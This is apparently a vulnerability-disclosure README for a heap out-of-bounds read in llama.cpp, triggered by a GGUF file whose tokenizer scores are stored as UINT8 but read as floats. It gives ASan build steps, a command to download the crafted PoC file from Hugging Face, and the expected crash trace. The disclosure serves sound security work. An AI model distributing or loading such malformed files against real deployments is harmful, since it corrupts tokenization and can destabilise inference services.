gguf-security-poc

GGUF Vocabulary Loading Heap OOB Read — PoC

Vulnerability

Heap out-of-bounds read in llama.cpp vocabulary loading due to missing GGUF array element-type validation. llama-vocab.cpp casts gguf_get_arr_data() to float* without verifying the stored element type via gguf_get_arr_type(). A GGUF file declaring tokenizer.ggml.scores as GGUF_TYPE_UINT8 (1 byte per element) causes 4-byte reads from a 1-byte-per-element buffer.

The file is accepted by the GGUF parser without error; the OOB read happens later in llama_vocab::impl::load() during llama_model_load_from_file().

Repository contents

How to reproduce

1. Clone and build llama.cpp with AddressSanitizer

git clone https://github.com/ggml-org/llama.cpp && cd llama.cpp
mkdir build-asan && cd build-asan
cmake .. \
  -DCMAKE_C_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer" \
  -DCMAKE_CXX_FLAGS="-fsanitize=address,undefined -fno-omit-frame-pointer" \
  -DCMAKE_BUILD_TYPE=Debug
cmake --build . -j$(nproc)
cd ..

2. Download PoC and run

huggingface-cli download VincHmann/gguf-security-poc poc_mutated_real.gguf --local-dir .

ASAN_OPTIONS='detect_leaks=0' ./build-asan/bin/llama-tokenize -m poc_mutated_real.gguf --prompt 'test'

Note: --prompt is required by the tool's CLI, but the crash occurs during llama_model_load_from_file() before the prompt is processed.

3. Expected output

==PID==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x...
READ of size 4 at 0x... thread T0
    #0 in llama_vocab::impl::load(...) src/llama-vocab.cpp:2229

0x... is located 0 bytes after 32000-byte region

Tested on

• llama.cpp commit d0a6dfeb2 (HEAD, 2026-04-06)
• Ubuntu (WSL2), g++ 13, cmake 3.28
• AddressSanitizer + UndefinedBehaviorSanitizer

Impact

The heap OOB read (up to 96KB for a 32000-token vocabulary) occurs during the standard llama_model_load_from_file() call. Without ASAN, the corrupted scores silently alter tokenization output.